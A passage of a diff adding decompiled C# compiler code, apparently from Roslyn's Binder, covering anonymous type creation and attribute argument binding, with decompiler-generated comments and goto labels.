IL_00cc; + } + return false; + } + if (containingSymbol is MethodSymbol methodSymbol2) + { + if ((int)methodSymbol2.MethodKind == 1 || methodSymbol2.IsInitOnly) + { + goto IL_0101; + } + } + else if (containingSymbol is FieldSymbol && !containingSymbol.IsStatic) + { + goto IL_0101; + } + bool flag = false; + goto IL_0107; + IL_00cc: + return true; + IL_0101: + flag = true; + goto IL_0107; + IL_0107: + if (flag) + { + return fieldAccess.ReceiverOpt.Kind == BoundKind.ThisReference; + } + return false; + } + + private BoundExpression BindAnonymousObjectCreation(AnonymousObjectCreationExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_01a3: Unknown result type (might be due to invalid IL or missing references) + //IL_01a8: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_0268: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_0218: Unknown result type (might be due to invalid IL or missing references) + //IL_021f: Invalid comparison between Unknown and I4 + MessageID.IDS_FeatureAnonymousTypes.CheckFeatureAvailability(diagnostics, node.NewKeyword); + SeparatedSyntaxList initializers = node.Initializers; + int count = initializers.Count; + bool hasError = false; + BoundExpression[] array = new BoundExpression[count]; + AnonymousTypeField[] array2 = new AnonymousTypeField[count]; + CSharpSyntaxNode[] array3 = new CSharpSyntaxNode[count]; + PooledHashSet instance = PooledHashSet.GetInstance(); + for (int i = 0; i < count; i++) + { + AnonymousObjectMemberDeclaratorSyntax anonymousObjectMemberDeclaratorSyntax = initializers[i]; + NameEqualsSyntax nameEquals = anonymousObjectMemberDeclaratorSyntax.NameEquals; + ExpressionSyntax expression = anonymousObjectMemberDeclaratorSyntax.Expression; + SyntaxToken token = default(SyntaxToken); + if (nameEquals != null) + { + token = nameEquals.Name.Identifier; + } + else + { + if (!IsAnonymousTypeMemberExpression(expression)) + { + hasError = true; + diagnostics.Add(ErrorCode.ERR_InvalidAnonymousTypeMemberDeclarator, expression.GetLocation()); + } + token = expression.ExtractAnonymousTypeMemberName(); + } + hasError |= ((SyntaxNode)expression).HasErrors; + array[i] = BindRValueWithoutTargetType(expression, diagnostics); + string text = null; + if (token.Kind() == SyntaxKind.IdentifierToken) + { + text = ((SyntaxToken)(ref token)).ValueText; + if (!((HashSet)(object)instance).Add(text)) + { + Error(diagnostics, ErrorCode.ERR_AnonymousTypeDuplicatePropertyName, (CSharpSyntaxNode)anonymousObjectMemberDeclaratorSyntax); + hasError = true; + text = null; + } + } + else + { + hasError = true; + } + TypeSymbol anonymousTypeFieldType = GetAnonymousTypeFieldType(array[i], anonymousObjectMemberDeclaratorSyntax, diagnostics, ref hasError); + array3[i] = ((token.Kind() == SyntaxKind.IdentifierToken) ? ((CSharpSyntaxNode)(object)((SyntaxToken)(ref token)).Parent) : anonymousObjectMemberDeclaratorSyntax); + array2[i] = new AnonymousTypeField((text == null) ? ("$" + i) : text, ((SyntaxNode)array3[i]).Location, TypeWithAnnotations.Create(anonymousTypeFieldType), (RefKind)0, (ScopedKind)0); + } + instance.Free(); + AnonymousTypeManager anonymousTypeManager = Compilation.AnonymousTypeManager; + ImmutableArray fields = ImmutableArrayExtensions.AsImmutableOrNull(array2); + SyntaxToken newKeyword = node.NewKeyword; + AnonymousTypeDescriptor typeDescr = new AnonymousTypeDescriptor(fields, ((SyntaxToken)(ref newKeyword)).GetLocation()); + NamedTypeSymbol namedTypeSymbol = anonymousTypeManager.ConstructAnonymousTypeSymbol(typeDescr); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + for (int j = 0; j < count; j++) + { + if (initializers[j].NameEquals == null) + { + continue; + } + AnonymousTypeField anonymousTypeField = array2[j]; + if (anonymousTypeField.Name == null) + { + continue; + } + ImmutableArray.Enumerator enumerator = namedTypeSymbol.GetMembers(anonymousTypeField.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 15) + { + instance2.Add(new BoundAnonymousPropertyDeclaration((SyntaxNode)(object)array3[j], (PropertySymbol)current, anonymousTypeField.Type)); + break; + } + } + } + if (!IsAnonymousTypesAllowed()) + { + Error(diagnostics, ErrorCode.ERR_AnonymousTypeNotAvailable, node.NewKeyword); + hasError = true; + } + return new BoundAnonymousObjectCreationExpression((SyntaxNode)(object)node, namedTypeSymbol.InstanceConstructors[0], ImmutableArrayExtensions.AsImmutableOrNull(array), instance2.ToImmutableAndFree(), namedTypeSymbol, hasError); + } + + private static bool IsAnonymousTypeMemberExpression(ExpressionSyntax expr) + { + while (true) + { + switch (expr.Kind()) + { + case SyntaxKind.QualifiedName: + expr = ((QualifiedNameSyntax)expr).Right; + break; + case SyntaxKind.ConditionalAccessExpression: + expr = ((ConditionalAccessExpressionSyntax)expr).WhenNotNull; + if (expr.Kind() == SyntaxKind.MemberBindingExpression) + { + return true; + } + break; + case SyntaxKind.IdentifierName: + case SyntaxKind.SimpleMemberAccessExpression: + return true; + default: + return false; + } + } + } + + private bool IsAnonymousTypesAllowed() + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + Symbol containingMemberOrLambda = ContainingMemberOrLambda; + if ((object)containingMemberOrLambda == null) + { + return false; + } + SymbolKind kind = containingMemberOrLambda.Kind; + if ((int)kind != 6) + { + if ((int)kind != 9) + { + if ((int)kind == 11) + { + return ((NamedTypeSymbol)containingMemberOrLambda).IsScriptClass; + } + return false; + } + return true; + } + return !((FieldSymbol)containingMemberOrLambda).IsConst; + } + + private TypeSymbol GetAnonymousTypeFieldType(BoundExpression expression, CSharpSyntaxNode errorSyntax, BindingDiagnosticBag diagnostics, ref bool hasError) + { + object obj = null; + TypeSymbol typeSymbol = expression.Type; + if (!expression.HasAnyErrors) + { + if (expression.HasExpressionType()) + { + if (typeSymbol.IsVoidType()) + { + obj = typeSymbol; + typeSymbol = CreateErrorType(SyntaxFacts.GetText(SyntaxKind.VoidKeyword)); + } + else if (typeSymbol.IsPointerOrFunctionPointer()) + { + obj = typeSymbol; + } + else if (typeSymbol.IsRestrictedType()) + { + obj = typeSymbol; + } + } + else + { + obj = expression.Display; + } + } + if ((object)typeSymbol == null) + { + typeSymbol = CreateErrorType("error"); + } + if (obj != null) + { + hasError = true; + Error(diagnostics, ErrorCode.ERR_AnonymousTypePropertyAssignedBadValue, errorSyntax, obj); + } + return typeSymbol; + } + + internal static void BindAttributeTypes(ImmutableArray binders, ImmutableArray attributesToBind, Symbol ownerSymbol, NamedTypeSymbol[] boundAttributeTypes, Action? beforeAttributePartBound, Action? afterAttributePartBound, BindingDiagnosticBag diagnostics) + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Invalid comparison between Unknown and I4 + for (int i = 0; i < attributesToBind.Length; i++) + { + if ((object)boundAttributeTypes[i] == null) + { + Binder binder = binders[i]; + AttributeSyntax attributeSyntax = attributesToBind[i]; + beforeAttributePartBound?.Invoke(attributeSyntax); + TypeWithAnnotations typeArgument = binder.BindType(attributeSyntax.Name, diagnostics); + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)typeArgument.Type; + if ((int)namedTypeSymbol.TypeKind != 6) + { + binder.CheckDisallowedAttributeDependentType(typeArgument, attributeSyntax.Name, diagnostics); + } + boundAttributeTypes[i] = namedTypeSymbol; + afterAttributePartBound?.Invoke(attributeSyntax); + } + } + } + + internal static void GetAttributes(ImmutableArray binders, ImmutableArray attributesToBind, ImmutableArray boundAttributeTypes, CSharpAttributeData?[] attributeDataArray, BoundAttribute?[]? boundAttributeArray, Action? beforeAttributePartBound, Action? afterAttributePartBound, BindingDiagnosticBag diagnostics) + { + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + for (int i = 0; i < attributesToBind.Length; i++) + { + AttributeSyntax attributeSyntax = attributesToBind[i]; + NamedTypeSymbol boundAttributeType = boundAttributeTypes[i]; + Binder binder = binders[i]; + SourceAttributeData sourceAttributeData = (SourceAttributeData)attributeDataArray[i]; + if (sourceAttributeData == null) + { + int num = i; + (CSharpAttributeData, BoundAttribute) attribute = binder.GetAttribute(attributeSyntax, boundAttributeType, beforeAttributePartBound, afterAttributePartBound, diagnostics); + attributeDataArray[num] = attribute.Item1; + BoundAttribute item = attribute.Item2; + if (boundAttributeArray != null) + { + boundAttributeArray[i] = item; + } + } + else + { + CompoundUseSiteInfo useSiteInfo = binder.GetNewCompoundUseSiteInfo(diagnostics); + bool isConditionallyOmitted = binder.IsAttributeConditionallyOmitted(sourceAttributeData.AttributeClass, attributeSyntax.SyntaxTree, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)attributeSyntax, useSiteInfo); + attributeDataArray[i] = sourceAttributeData.WithOmittedCondition(isConditionallyOmitted); + } + } + } + + internal (CSharpAttributeData, BoundAttribute) GetAttribute(AttributeSyntax node, NamedTypeSymbol boundAttributeType, Action? beforeAttributePartBound, Action? afterAttributePartBound, BindingDiagnosticBag diagnostics) + { + beforeAttributePartBound?.Invoke(node); + BoundAttribute boundAttribute = new ExecutableCodeBinder((SyntaxNode)(object)node, ContainingMemberOrLambda, this).BindAttribute(node, boundAttributeType, (this as ContextualAttributeBinder)?.AttributedMember, diagnostics); + afterAttributePartBound?.Invoke(node); + return (GetAttribute(boundAttribute, diagnostics), boundAttribute); + } + + internal BoundAttribute BindAttribute(AttributeSyntax node, NamedTypeSymbol attributeType, Symbol? attributedMember, BindingDiagnosticBag diagnostics) + { + return GetRequiredBinder((SyntaxNode)(object)node).BindAttributeCore(node, attributeType, attributedMember, diagnostics); + } + + private Binder SkipSemanticModelBinder() + { + Binder binder = this; + while (binder.IsSemanticModelBinder) + { + binder = binder.Next; + } + return binder; + } + + private BoundAttribute BindAttributeCore(AttributeSyntax node, NamedTypeSymbol attributeType, Symbol? attributedMember, BindingDiagnosticBag diagnostics) + { + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_01b7: Unknown result type (might be due to invalid IL or missing references) + //IL_0121: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_0163: Unknown result type (might be due to invalid IL or missing references) + //IL_0264: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol namedTypeSymbol = attributeType; + LookupResultKind lookupResultKind = LookupResultKind.Viable; + if (namedTypeSymbol.IsErrorType()) + { + ErrorTypeSymbol errorTypeSymbol = (ErrorTypeSymbol)namedTypeSymbol; + lookupResultKind = errorTypeSymbol.ResultKind; + if (errorTypeSymbol.CandidateSymbols.Length == 1 && errorTypeSymbol.CandidateSymbols[0] is NamedTypeSymbol) + { + namedTypeSymbol = (NamedTypeSymbol)errorTypeSymbol.CandidateSymbols[0]; + } + } + AttributeArgumentListSyntax argumentList = node.ArgumentList; + Binder binder = WithAdditionalFlags(BinderFlags.AttributeArgument); + AnalyzedAttributeArguments analyzedAttributeArguments = binder.BindAttributeArguments(argumentList, namedTypeSymbol, diagnostics); + ImmutableArray argsToParamsOpt = default(ImmutableArray); + bool flag = false; + BitVector defaultArguments = default(BitVector); + MethodSymbol methodSymbol = null; + ImmutableArray constructorArguments; + if (namedTypeSymbol.IsErrorType()) + { + constructorArguments = ArrayBuilderExtensions.SelectAsArray(analyzedAttributeArguments.ConstructorArguments.Arguments, (Func)((BoundExpression arg, Binder attributeArgumentBinder) => attributeArgumentBinder.BindToTypeForErrorRecovery(arg)), binder); + } + else + { + MemberResolutionResult memberResolutionResult; + ImmutableArray candidateConstructors; + bool num = binder.TryPerformConstructorOverloadResolution(namedTypeSymbol, analyzedAttributeArguments.ConstructorArguments, namedTypeSymbol.Name, ((SyntaxNode)node).Location, attributeType.IsErrorType(), diagnostics, out memberResolutionResult, out candidateConstructors, allowProtectedConstructorsOfBaseType: true, suppressUnsupportedRequiredMembersError: false); + methodSymbol = memberResolutionResult.Member; + flag = memberResolutionResult.Resolution == MemberResolutionKind.ApplicableInExpandedForm; + argsToParamsOpt = memberResolutionResult.Result.ArgsToParamsOpt; + if (!num) + { + CompoundUseSiteInfo useSiteInfo = binder.GetNewCompoundUseSiteInfo(diagnostics); + lookupResultKind = lookupResultKind.WorseResultKind((memberResolutionResult.IsValid && !binder.IsConstructorAccessible(memberResolutionResult.Member, ref useSiteInfo)) ? LookupResultKind.Inaccessible : LookupResultKind.OverloadResolutionFailure); + constructorArguments = binder.BuildArgumentsForErrorRecovery(analyzedAttributeArguments.ConstructorArguments, candidateConstructors); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + } + else + { + binder.BindDefaultArguments((SyntaxNode)(object)node, methodSymbol.Parameters, analyzedAttributeArguments.ConstructorArguments.Arguments, null, ref argsToParamsOpt, out defaultArguments, flag, !IsEarlyAttributeBinder, diagnostics, assertMissingParametersAreOptional: true, attributedMember); + constructorArguments = analyzedAttributeArguments.ConstructorArguments.Arguments.ToImmutable(); + binder.ReportDiagnosticsIfObsolete(diagnostics, methodSymbol, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)node), hasBaseReceiver: false); + if (methodSymbol.Parameters.Any(delegate(ParameterSymbol p) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + RefKind refKind = p.RefKind; + return refKind - 3 <= 1; + })) + { + Error(diagnostics, ErrorCode.ERR_AttributeCtorInParameter, (CSharpSyntaxNode)node, new object[1] { methodSymbol.ToDisplayString(SymbolDisplayFormat.CSharpErrorMessageFormat) }); + } + } + } + ImmutableArray names = analyzedAttributeArguments.ConstructorArguments.GetNames(); + ImmutableArray immutableArray = analyzedAttributeArguments.NamedArguments?.ToImmutableAndFree() ?? ImmutableArray.Empty; + if ((object)methodSymbol != null) + { + CheckRequiredMembersInObjectInitializer(methodSymbol, ImmutableArray.CastUp(immutableArray), (SyntaxNode)(object)node, diagnostics); + } + analyzedAttributeArguments.ConstructorArguments.Free(); + return new BoundAttribute((SyntaxNode)(object)node, methodSymbol, constructorArguments, names, argsToParamsOpt, flag, defaultArguments, immutableArray, lookupResultKind, attributeType, lookupResultKind != LookupResultKind.Viable); + } + + private CSharpAttributeData GetAttribute(BoundAttribute boundAttribute, BindingDiagnosticBag diagnostics) + { + //IL_0152: Unknown result type (might be due to invalid IL or missing references) + //IL_0157: Unknown result type (might be due to invalid IL or missing references) + //IL_017b: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)boundAttribute.Type; + MethodSymbol constructor = boundAttribute.Constructor; + bool hasErrors = boundAttribute.HasAnyErrors; + if (namedTypeSymbol.IsErrorType() || namedTypeSymbol.IsAbstract || (object)constructor == null) + { + return new SourceAttributeData(boundAttribute.Syntax.GetReference(), namedTypeSymbol, constructor, hasErrors); + } + ValidateTypeForAttributeParameters(constructor.Parameters, ((AttributeSyntax)(object)boundAttribute.Syntax).Name, diagnostics, ref hasErrors); + AttributeExpressionVisitor attributeExpressionVisitor = new AttributeExpressionVisitor(this); + ImmutableArray arguments = boundAttribute.ConstructorArguments; + ImmutableArray immutableArray = attributeExpressionVisitor.VisitArguments(arguments, diagnostics, ref hasErrors); + ImmutableArray> namedArguments = attributeExpressionVisitor.VisitNamedArguments(boundAttribute.NamedArguments, diagnostics, ref hasErrors); + ImmutableArray argsToParamsOpt = boundAttribute.ConstructorArgumentsToParamsOpt; + ImmutableArray rewrittenArguments; + if (hasErrors || constructor.ParameterCount == 0) + { + rewrittenArguments = immutableArray; + } + else + { + rewrittenArguments = GetRewrittenAttributeConstructorArguments(constructor, immutableArray, boundAttribute.ConstructorArgumentNamesOpt, (AttributeSyntax)(object)boundAttribute.Syntax, argsToParamsOpt, diagnostics, boundAttribute.ConstructorExpanded, ref hasErrors); + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + bool isConditionallyOmitted = IsAttributeConditionallyOmitted(namedTypeSymbol, boundAttribute.SyntaxTree, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(boundAttribute.Syntax, useSiteInfo); + return new SourceAttributeData(boundAttribute.Syntax.GetReference(), namedTypeSymbol, constructor, rewrittenArguments, makeSourceIndices(), namedArguments, hasErrors, isConditionallyOmitted); + ImmutableArray makeSourceIndices() + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + int length = rewrittenArguments.Length; + if (length == 0 || hasErrors) + { + return default(ImmutableArray); + } + BitVector constructorDefaultArguments = boundAttribute.ConstructorDefaultArguments; + if (argsToParamsOpt.IsDefault && !boundAttribute.ConstructorExpanded) + { + bool flag = false; + int length2 = arguments.Length; + for (int i = 0; i < length2; i++) + { + if (((BitVector)(ref constructorDefaultArguments))[i]) + { + flag = true; + break; + } + } + if (!flag) + { + return default(ImmutableArray); + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + instance.Count = length; + for (int j = 0; j < length; j++) + { + int num = ((argsToParamsOpt.IsDefault || j >= argsToParamsOpt.Length) ? j : argsToParamsOpt[j]); + instance[num] = (((BitVector)(ref constructorDefaultArguments))[j] ? (-1) : j); + } + return instance.ToImmutableAndFree(); + } + } + + private void ValidateTypeForAttributeParameters(ImmutableArray parameters, CSharpSyntaxNode syntax, BindingDiagnosticBag diagnostics, ref bool hasErrors) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + TypeWithAnnotations typeWithAnnotations = current.TypeWithAnnotations; + if (!typeWithAnnotations.Type.IsValidAttributeParameterType(Compilation)) + { + Error(diagnostics, ErrorCode.ERR_BadAttributeParamType, syntax, current.Name, typeWithAnnotations.Type); + hasErrors = true; + } + } + } + + protected bool IsAttributeConditionallyOmitted(NamedTypeSymbol attributeType, SyntaxTree? syntaxTree, ref CompoundUseSiteInfo useSiteInfo) + { + if (IsEarlyAttributeBinder) + { + return false; + } + if (attributeType.IsConditional) + { + ImmutableArray appliedConditionalSymbols = attributeType.GetAppliedConditionalSymbols(); + if (syntaxTree.IsAnyPreprocessorSymbolDefined(appliedConditionalSymbols)) + { + return false; + } + NamedTypeSymbol namedTypeSymbol = attributeType.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + if ((object)namedTypeSymbol != null && namedTypeSymbol.IsConditional) + { + return IsAttributeConditionallyOmitted(namedTypeSymbol, syntaxTree, ref useSiteInfo); + } + return true; + } + return false; + } + + private AnalyzedAttributeArguments BindAttributeArguments(AttributeArgumentListSyntax? attributeArgumentList, NamedTypeSymbol attributeType, BindingDiagnosticBag diagnostics) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + ArrayBuilder val = null; + if (attributeArgumentList != null) + { + HashSet hashSet = null; + bool hadLangVersionError = false; + bool flag = false; + Enumerator enumerator = attributeArgumentList.Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + AttributeArgumentSyntax current = enumerator.Current; + if (current.NameEquals == null) + { + if (flag) + { + diagnostics.Add(ErrorCode.ERR_NamedArgumentExpected, current.Expression.GetLocation()); + } + BindArgumentAndName(instance, diagnostics, ref hadLangVersionError, current, BindArgumentExpression(diagnostics, current.Expression, (RefKind)0, allowArglist: false), current.NameColon, (RefKind)0); + continue; + } + flag = true; + SyntaxToken identifier = current.NameEquals.Name.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + if (val == null) + { + val = ArrayBuilder.GetInstance(); + hashSet = new HashSet(); + } + else if (hashSet.Contains(valueText)) + { + Error(diagnostics, ErrorCode.ERR_DuplicateNamedAttributeArgument, (CSharpSyntaxNode)current, new object[1] { valueText }); + } + BoundAssignmentOperator boundAssignmentOperator = BindNamedAttributeArgument(current, attributeType, diagnostics); + val.Add(boundAssignmentOperator); + hashSet.Add(valueText); + } + } + return new AnalyzedAttributeArguments(instance, val); + } + + private BoundAssignmentOperator BindNamedAttributeArgument(AttributeArgumentSyntax namedArgument, NamedTypeSymbol attributeType, BindingDiagnosticBag diagnostics) + { + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Invalid comparison between Unknown and I4 + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + IdentifierNameSyntax name = namedArgument.NameEquals.Name; + if (attributeType.IsErrorType()) + { + BoundBadExpression left = BadExpression((SyntaxNode)(object)name, LookupResultKind.Empty); + BoundExpression right = BindRValueWithoutTargetType(namedArgument.Expression, diagnostics); + return new BoundAssignmentOperator((SyntaxNode)(object)namedArgument, left, right, CreateErrorType()); + } + bool wasError; + LookupResultKind resultKind; + Symbol symbol = BindNamedAttributeArgumentName(namedArgument, attributeType, diagnostics, out wasError, out resultKind); + ReportDiagnosticsIfObsolete(diagnostics, symbol, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)namedArgument), hasBaseReceiver: false); + if ((int)symbol.Kind == 15) + { + MethodSymbol ownOrInheritedSetMethod = ((PropertySymbol)symbol).GetOwnOrInheritedSetMethod(); + if (ownOrInheritedSetMethod != null) + { + ReportDiagnosticsIfObsolete(diagnostics, ownOrInheritedSetMethod, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)namedArgument), hasBaseReceiver: false); + if (ownOrInheritedSetMethod.IsInitOnly && ownOrInheritedSetMethod.DeclaringCompilation != Compilation) + { + CheckFeatureAvailability((SyntaxNode)(object)namedArgument, MessageID.IDS_FeatureInitOnlySetters, diagnostics); + } + } + } + TypeSymbol typeSymbol = ((!wasError) ? BindNamedAttributeArgumentType(namedArgument, symbol, attributeType, diagnostics) : CreateErrorType()); + BoundExpression expression = BindValue(namedArgument.Expression, diagnostics, BindValueKind.RValue); + expression = GenerateConversionForAssignment(typeSymbol, expression, diagnostics); + BoundExpression left2; + if (symbol is FieldSymbol fieldSymbol) + { + (fieldSymbol.ContainingAssembly as SourceAssemblySymbol)?.NoteFieldAccess(fieldSymbol, read: true, write: true); + left2 = new BoundFieldAccess((SyntaxNode)(object)name, null, fieldSymbol, null, resultKind, fieldSymbol.Type); + } + else + { + left2 = ((!(symbol is PropertySymbol propertySymbol)) ? ((BoundExpression)BadExpression((SyntaxNode)(object)name, resultKind)) : ((BoundExpression)new BoundPropertyAccess((SyntaxNode)(object)name, null, (ThreeState)0, propertySymbol, resultKind, typeSymbol))); + } + return new BoundAssignmentOperator((SyntaxNode)(object)namedArgument, left2, expression, typeSymbol); + } + + private Symbol BindNamedAttributeArgumentName(AttributeArgumentSyntax namedArgument, NamedTypeSymbol attributeType, BindingDiagnosticBag diagnostics, out bool wasError, out LookupResultKind resultKind) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + IdentifierNameSyntax name = namedArgument.NameEquals.Name; + SyntaxToken identifier = name.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + LookupResult instance = LookupResult.GetInstance(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + LookupMembersWithFallback(instance, attributeType, valueText, 0, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)name, useSiteInfo); + Symbol result = ResultSymbol(instance, valueText, 0, (SyntaxNode)(object)name, diagnostics, suppressUseSiteDiagnostics: false, out wasError, null); + resultKind = instance.Kind; + instance.Free(); + return result; + } + + private TypeSymbol BindNamedAttributeArgumentType(AttributeArgumentSyntax namedArgument, Symbol namedArgumentNameSymbol, NamedTypeSymbol attributeType, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Invalid comparison between Unknown and I4 + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Invalid comparison between Unknown and I4 + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Invalid comparison between Unknown and I4 + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Invalid comparison between Unknown and I4 + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Invalid comparison between Unknown and I4 + if ((int)namedArgumentNameSymbol.Kind == 4) + { + return (TypeSymbol)namedArgumentNameSymbol; + } + bool flag = false; + TypeSymbol typeSymbol = null; + flag |= (int)namedArgumentNameSymbol.DeclaredAccessibility != 6; + flag |= namedArgumentNameSymbol.IsStatic; + if (!flag) + { + SymbolKind kind = namedArgumentNameSymbol.Kind; + if ((int)kind != 6) + { + if ((int)kind == 15) + { + PropertySymbol leastOverriddenProperty = ((PropertySymbol)namedArgumentNameSymbol).GetLeastOverriddenProperty(ContainingType); + typeSymbol = leastOverriddenProperty.Type; + flag |= leastOverriddenProperty.IsReadOnly; + MethodSymbol getMethod = leastOverriddenProperty.GetMethod; + MethodSymbol setMethod = leastOverriddenProperty.SetMethod; + flag = flag || (object)getMethod == null || (object)setMethod == null; + if (!flag) + { + flag = (int)getMethod.DeclaredAccessibility != 6 || (int)setMethod.DeclaredAccessibility != 6; + } + } + else + { + flag = true; + } + } + else + { + FieldSymbol fieldSymbol = (FieldSymbol)namedArgumentNameSymbol; + typeSymbol = fieldSymbol.Type; + flag |= fieldSymbol.IsReadOnly; + flag |= fieldSymbol.IsConst; + } + } + if (flag) + { + return new ExtendedErrorTypeSymbol(attributeType, namedArgumentNameSymbol, LookupResultKind.NotAVariable, (DiagnosticInfo)(object)diagnostics.Add(ErrorCode.ERR_BadNamedAttributeArgument, ((SyntaxNode)namedArgument.NameEquals.Name).Location, namedArgumentNameSymbol.Name)); + } + if (!typeSymbol.IsValidAttributeParameterType(Compilation)) + { + return new ExtendedErrorTypeSymbol(attributeType, namedArgumentNameSymbol, LookupResultKind.NotAVariable, (DiagnosticInfo)(object)diagnostics.Add(ErrorCode.ERR_BadNamedAttributeArgumentType, ((SyntaxNode)namedArgument.NameEquals.Name).Location, namedArgumentNameSymbol.Name)); + } + return typeSymbol; + } + + private ImmutableArray GetRewrittenAttributeConstructorArguments(MethodSymbol attributeConstructor, ImmutableArray constructorArgsArray, ImmutableArray constructorArgumentNamesOpt, AttributeSyntax syntax, ImmutableArray argumentsToParams, BindingDiagnosticBag diagnostics, bool expanded, ref bool hasErrors) + { + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + //IL_012b: Unknown result type (might be due to invalid IL or missing references) + //IL_0130: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Invalid comparison between Unknown and I4 + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Invalid comparison between Unknown and I4 + int length = constructorArgsArray.Length; + ImmutableArray parameters = attributeConstructor.Parameters; + TypedConstant[] array = (TypedConstant[])(object)new TypedConstant[parameters.Length]; + for (int i = 0; i < length; i++) + { + int num = (argumentsToParams.IsDefault ? i : argumentsToParams[i]); + ParameterSymbol parameterSymbol = parameters[num]; + TypedConstant val = ((!parameterSymbol.IsParams || !parameterSymbol.Type.IsSZArray()) ? constructorArgsArray[i] : GetParamArrayArgument(parameterSymbol, constructorArgsArray, constructorArgumentNamesOpt, length, i, Conversions, out i)); + if (!hasErrors) + { + if ((int)((TypedConstant)(ref val)).Kind == 0) + { + hasErrors = true; + } + else if ((int)((TypedConstant)(ref val)).Kind == 4 && (int)parameterSymbol.Type.TypeKind == 1 && !((TypeSymbol)(object)((TypedConstant)(ref val)).TypeInternal).Equals(parameterSymbol.Type, (TypeCompareKind)63)) + { + 